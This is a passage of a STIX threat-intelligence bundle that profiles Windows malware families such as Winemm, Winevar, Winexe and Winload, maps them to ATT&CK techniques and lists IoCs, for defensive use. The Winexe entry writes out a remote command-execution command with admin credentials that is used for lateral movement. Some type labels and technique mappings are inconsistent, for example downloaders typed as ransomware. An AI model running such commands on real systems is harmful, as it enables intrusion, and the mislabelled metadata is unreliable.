      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Windapp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1893f79b-650a-5420-a9e6-7e45dfa41c8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aad0460-3fb3-5f76-9c14-71c319925520",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Windapp exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a7356fb-4636-5f7d-9ca0-d57192b96fe5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aad0460-3fb3-5f76-9c14-71c319925520",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Windapp exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6f26bf53-8340-5096-8b30-1f2114574cf3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winemm",
      "description": "TrojanDownloader:Win32/Winemm is a specialized trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads. Unlike a backdoor that provides interactive control, Winemm acts purely as an automated 'Initial Access Broker' tool. Its primary objective is to silently connect to a Command-and-Control (C2) server and pull down the final, destructive payload (such as ransomware, infostealers, or botnet clients) (`T1105`).<br><br><b>Understanding Winemm (Downloaders)</b><br>To an end-user, a Winemm infection is entirely invisible. The danger lies in what it brings with it. For an incident response team, the presence of Winemm indicates an active breach where the primary damage has likely not yet occurred, but is imminent. Detecting the downloader before it fetches the payload is critical.<br><br><b>Execution and Evasion Strategies</b><br>Winemm is commonly distributed via malspam campaigns containing weaponized attachments (like ZIP files or Office macros). Upon execution, it utilizes packing and obfuscation to evade static antivirus signatures (`T1027`). It drops a randomized executable into the `%Temp%` directory. To mask its outbound network traffic, Winemm frequently injects its downloading routine into legitimate system processes (like `svchost.exe` or `explorer.exe`) (`T1055`). It then makes HTTP/HTTPS GET requests to hardcoded or DGA-generated domains to fetch the payload.<br><br><b>Indicators of Compromise (IoCs)</b><br>Host-based IoCs include EDR alerts for 'Suspicious Process Injection' or legitimate processes making unexpected outbound network connections. The rapid creation of `.exe` or `.dll` files in the `%Temp%` or `%AppData%` directories by anomalous parent processes is a strong indicator. Network IoCs involve identifying the specific C2 domains or IP addresses Winemm contacts to fetch its payloads. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winemm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winemm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3d400eb-df54-59b2-9a01-54f2c6472b1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f26bf53-8340-5096-8b30-1f2114574cf3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winemm exhibits technique T1105 (Ingress Tool Transfer (The core function of fetching the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8e870f4-e40b-5fd5-8539-f52bdae971cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f26bf53-8340-5096-8b30-1f2114574cf3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winemm exhibits technique T1055 (Process Injection (Injecting into svchost.exe to hide network traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72c7ddac-07a3-5bcb-ae0f-eeb14518ba75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f26bf53-8340-5096-8b30-1f2114574cf3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winemm exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution vector))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf27fc00-c9fd-5ba1-be4f-514f813acab6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f26bf53-8340-5096-8b30-1f2114574cf3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winemm exhibits technique T1027 (Obfuscated Files or Information (Packing the downloader to bypass AV))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a0fdb409-94ed-57f8-bf6e-aa5d6140416a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winevar",
      "description": "Virus:Win32/Winevar is a classic, destructive file infector and mass-mailing worm. Unlike modern stealthy trojans, Winevar is 'noisy' and aggressive, designed to rapidly replicate by infecting legitimate Windows executables and spreading across networks and email. It is notable for its destructive payloads, which include attempting to delete antivirus software and, on specific dates or triggers, destroying critical system files.<br><br><b>Understanding the Winevar Virus</b><br>To an end-user, a Winevar infection is highly noticeable: the system becomes unstable, antivirus programs mysteriously stop working or disappear, and unexpected dialog boxes or error messages may appear. For an IT administrator, Winevar represents a significant outbreak scenario, as it actively modifies existing, legitimate `.exe` files across the hard drive, making simple file deletion an unviable remediation strategy.<br><br><b>Execution, Infection, and Destruction Mechanics</b><br>Winevar typically arrives via email attachments or infected executables downloaded from untrusted sources (`T1566.001`). When the infected file runs (`T1204.002`), the virus code executes first. It loads itself into memory and begins searching the local hard drive and mapped network shares for other `.exe` files. It appends its malicious code to these clean files (File Infection), modifying the entry point so the virus runs before the legitimate application (`T1055.001`). It establishes persistence by modifying the Registry (`T1547.001`). To protect itself, Winevar aggressively searches for and deletes files associated with major antivirus vendors (`T1562.001`). Furthermore, it harvests email addresses from the system and uses its own SMTP engine to email copies of itself to new victims (`T1114.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is widespread file corruption, loss of endpoint security, and potential network disruption. Host-based IoCs include EDR alerts for 'Suspicious File Modification' targeting legitimate Windows binaries, the sudden disappearance of AV processes or directories, and anomalous file size increases across multiple `.exe` files. Network IoCs include a surge in outbound port 25 (SMTP) traffic from standard workstations. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winevar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winevar"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f69c0a9-9f20-51c3-b8be-ca197f96408c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0fdb409-94ed-57f8-bf6e-aa5d6140416a",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winevar exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (File Infection techniques))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db903b4e-a4a8-53b1-b4d6-17d6796d7db8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0fdb409-94ed-57f8-bf6e-aa5d6140416a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winevar exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Deleting AV files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12e92713-9569-5125-800f-6b8046146113",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0fdb409-94ed-57f8-bf6e-aa5d6140416a",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winevar exhibits technique T1114.001 (Email Collection: Local Email Collection (Harvesting for mass mailing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2aa1e2fd-fea8-5a13-8357-9af3135a6bc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0fdb409-94ed-57f8-bf6e-aa5d6140416a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winevar exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e1de56d1-c980-588c-9c13-a63f7cc4c2af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winexe",
      "description": "HackTool:Win32/Winexe (or simply `winexe`) is a legitimate, open-source GNU/Linux utility that allows users to execute commands remotely on Windows operating systems from a GNU/Linux host. It functions similarly to Microsoft's Sysinternals PsExec. However, because it facilitates remote execution, it is heavily weaponized by threat actors (particularly those operating from Linux-based C2 infrastructure or Kali Linux pivot machines) to achieve lateral movement and Remote Code Execution (RCE) on Windows targets (`T1569.002`).<br><br><b>Understanding Winexe (Living off the Land)</b><br>To an end-user, `winexe` execution is invisible. For a security operations center, the detection of `winexe` activity is a critical incident indicating that an attacker has compromised credentials and is actively moving laterally across the network from a Linux-based platform. Because the underlying protocols (SMB/RPC) are legitimate, distinguishing malicious `winexe` use from legitimate administration (if Linux admins manage Windows boxes) requires deep behavioral analysis.<br><br><b>Execution and Lateral Movement Mechanics</b><br>An attacker requires valid Windows credentials (or a password hash for Pass-the-Hash attacks) and network access to the target's SMB ports (TCP 139/445). From their Linux machine, they run a command like `winexe -U DOMAIN/Admin%Password //192.168.1.10 'cmd.exe'`. Winexe connects to the Windows target via SMB (`T1021.002`), authenticates, accesses the hidden `ADMIN$` share, and drops a small service executable (typically named `winexesvc.exe`). It creates and starts a Windows Service to run this executable (`T1543.003`), which then executes the requested command (e.g., `cmd.exe`) and pipes the output back to the Linux attacker over a named pipe.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total control over the targeted Windows host. Host-based IoCs are highly specific: EDR alerts for the creation and execution of the `winexesvc.exe` service (often running from `%SystemRoot%`), and Windows Event Log 7045 (A service was installed in the system) detailing the `winexesvc` installation. Network IoCs include inbound SMB traffic (TCP 445) originating from unusual Linux hosts (or VPN endpoints) followed immediately by RPC traffic and named pipe communication. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winexe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winexe"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3694e19c-120b-5f10-9866-99c323e0f688",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1de56d1-c980-588c-9c13-a63f7cc4c2af",
      "target_ref": "attack-pattern--48fff4f5-81fe-501f-a217-61aa95f17bee",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winexe exhibits technique T1569.002 (System Services: Service Execution (Abusing Windows Services to execute commands remotely))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9928973-eda0-54f5-bbb7-ff3c70b217ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1de56d1-c980-588c-9c13-a63f7cc4c2af",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winexe exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares (Using SMB and ADMIN$ for lateral movement))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e562076d-f6b1-570e-a313-3290179bc3aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1de56d1-c980-588c-9c13-a63f7cc4c2af",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winexe exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Creating the winexesvc service))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ee3efda6-938d-5bfd-947b-1a02ed93708c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winexec",
      "description": "HackTool:Win32/Winexec (often associated with PsExec or similar remote execution utilities) is a heuristic detection for tools capable of executing commands and launching processes on remote Windows systems. While `winexec` can refer to a specific legacy Windows API function, in threat detection, it generally flags administrative tools that have been weaponized by threat actors to facilitate lateral movement across a compromised network.<br><br><b>Understanding Winexec (Remote Execution)</b><br>To an end-user, this activity is completely invisible. For a security architect, the unauthorized use of remote execution tools is a critical indicator of an active breach. Tools like PsExec (part of Sysinternals) are legitimate administrative utilities. However, because they are so powerful, attackers frequently use them ('Living off the Land') to move laterally (`T1569.002`) without needing to drop custom, easily detectable malware.<br><br><b>Execution and Lateral Movement Mechanics</b><br>Once an attacker compromises a single machine and obtains administrative credentials (often via dumping LSASS - `T1003`), they will use a tool flagged as Winexec to execute commands on other machines in the domain. These tools typically work by connecting to the remote machine via SMB (`T1021.002`), dropping a temporary service executable into the `C:\\Windows\\Admin$`, and then starting that service (`T1543.003`) to execute the desired payload (like a Cobalt Strike beacon or ransomware) with `SYSTEM` privileges on the target.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is rapid, devastating lateral movement leading to domain-wide compromise. Host-based IoCs include Windows Event Logs (Event ID 7045 - A new service was installed in the system) referencing unusual service names (like `PSEXESVC`). Network IoCs include high volumes of SMB traffic (Port 445) originating from a non-administrative workstation targeting numerous other endpoints. EDR will flag `psexec.exe` or `wmic.exe` executing with suspicious command-line arguments. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winexec",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winexec"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--569df398-6081-5a4d-8c89-95d01e5d1d72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee3efda6-938d-5bfd-947b-1a02ed93708c",
      "target_ref": "attack-pattern--48fff4f5-81fe-501f-a217-61aa95f17bee",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winexec exhibits technique T1569.002 (System Services: Service Execution (Using PsExec/winexec))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5b3fa1f-b77b-5fe2-a7c8-03d28cfe6214",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee3efda6-938d-5bfd-947b-1a02ed93708c",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winexec exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1b3fdde-4ed5-57b6-b6dd-9eac0897309f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee3efda6-938d-5bfd-947b-1a02ed93708c",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winexec exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cb91f4a7-4bb3-5a9d-8b85-876df78c9c24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winiga",
      "description": "<h3>Executive Summary</h3>\nWiniga is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWiniga is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Winiga operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Winiga ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Winiga receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Winiga infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Winiga executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Winiga frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Winiga",
        "Downloader.Winiga",
        "Win32/Winiga"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winiga",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winiga"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9dcd778-b616-562c-b93f-4a3cd5a3923d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb91f4a7-4bb3-5a9d-8b85-876df78c9c24",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winiga exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0075637-6e3d-5411-b28a-d9989816fbe3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb91f4a7-4bb3-5a9d-8b85-876df78c9c24",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winiga exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea4b9ff1-5b9f-546e-aac1-905bced2aec9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb91f4a7-4bb3-5a9d-8b85-876df78c9c24",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winiga exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d58540e-94a4-5171-ae70-e98a57fca9d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winload",
      "description": "Trojan:Win32/Winload is a classification for trojans specifically designed to act as 'Loaders' or 'Droppers'. Its sole purpose is to securely download, decrypt, and execute a secondary, much more dangerous payload (like a banking trojan, ransomware, or a remote access tool) onto the compromised endpoint, while evading detection by endpoint security solutions (`T1105`).<br><br><b>Understanding Winload (Droppers/Loaders)</b><br>To an end-user, a Winload infection is invisible. The user might double-click a fake invoice PDF, see nothing happen, and assume the file is broken. Meanwhile, Winload is executing in the background. For a SOC analyst, a Winload detection is the tip of the iceberg. The critical question is not 'How do we remove Winload?', but rather, 'What did Winload download before we caught it?'<br><br><b>Execution and Evasion Strategies</b><br>Winload variants are heavily obfuscated and frequently repacked to defeat static signature scanning (`T1027.002`). Upon execution (often via phishing attachments or exploit kits), the loader profiles the system to ensure it is not running in an analyst's sandbox or virtual machine (`T1497`). If the environment looks safe, it reaches out to a hardcoded or algorithmically generated (DGA) Command and Control (C2) domain. It downloads the secondary payload, often as an encrypted blob. To evade behavioral detection, Winload rarely writes the final payload to disk; instead, it decrypts the payload and injects it directly into the memory space of a legitimate process like `svchost.exe` or `explorer.exe` (Process Hollowing or Process Injection) (`T1055`).<br><br><b>Indicators of Compromise (IoCs)</b><br>The most crucial IoCs are behavioral. EDR telemetry will show the initial execution (e.g., from an Office macro or a downloaded executable), followed by network beaconing to suspicious domains. The definitive IoC is 'Suspicious Process Injection'\u2014the loader attempting to allocate memory and write code into a legitimate Windows process. The hashes of the downloaded, injected payloads must be extracted from memory for accurate identification. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winload"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34c29009-f99e-516c-9374-5c81ca760d4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d58540e-94a4-5171-ae70-e98a57fca9d2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winload exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be588601-e5e5-5b2d-83fd-150cc6b0353e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d58540e-94a4-5171-ae70-e98a57fca9d2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winload exhibits technique T1055 (Process Injection (Injecting the payload into memory to evade disk-based AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdafa8ad-d831-5812-aaaa-64794573acc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d58540e-94a4-5171-ae70-e98a57fca9d2",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winload exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Evading static analysis))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d53b22e-e3f9-5a53-b1a2-38486c310240",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d58540e-94a4-5171-ae70-e98a57fca9d2",
      "target_ref": "attack-pattern--0c25f90f-bf7e-5abc-9857-0b48857bdb1c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winload exhibits technique T1497 (Virtualization/Sandbox Evasion (Checking for analysis environments))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--01378312-fc3e-56cc-8c71-0d1ffeb721a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winloadsda",
      "description": "WinloadSDA (classified across security vendors as TrojanDownloader:Win32/WinloadSDA and Trojan:Win32/WinloadSDA) is an evasive trojan downloader and stager that masquerades as genuine Windows boot and system loader files (such as winload.exe). Distributed through compromised software downloads and exploit kits, WinloadSDA executes stealth sandbox evasion checks before establishing persistence under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. It connects via encrypted HTTPS POST requests to remote command-and-control servers, transmitting endpoint hardware identifiers and downloading secondary malicious payloads, including banking trojans, infostealers, and commodity ransomware. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/WinloadSDA",
        "Trojan:Win32/WinloadSDA",
        "Win32/WinloadSDA",
        "WinloadSDA Loader",
        "WinloadSDA Trojan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winloadsda",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winloadsda"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--503b01f9-be99-5e5d-94c3-cc5b679d3ecf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01378312-fc3e-56cc-8c71-0d1ffeb721a5",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winloadsda exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82c21035-e36e-5646-9282-f42f6d946475",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
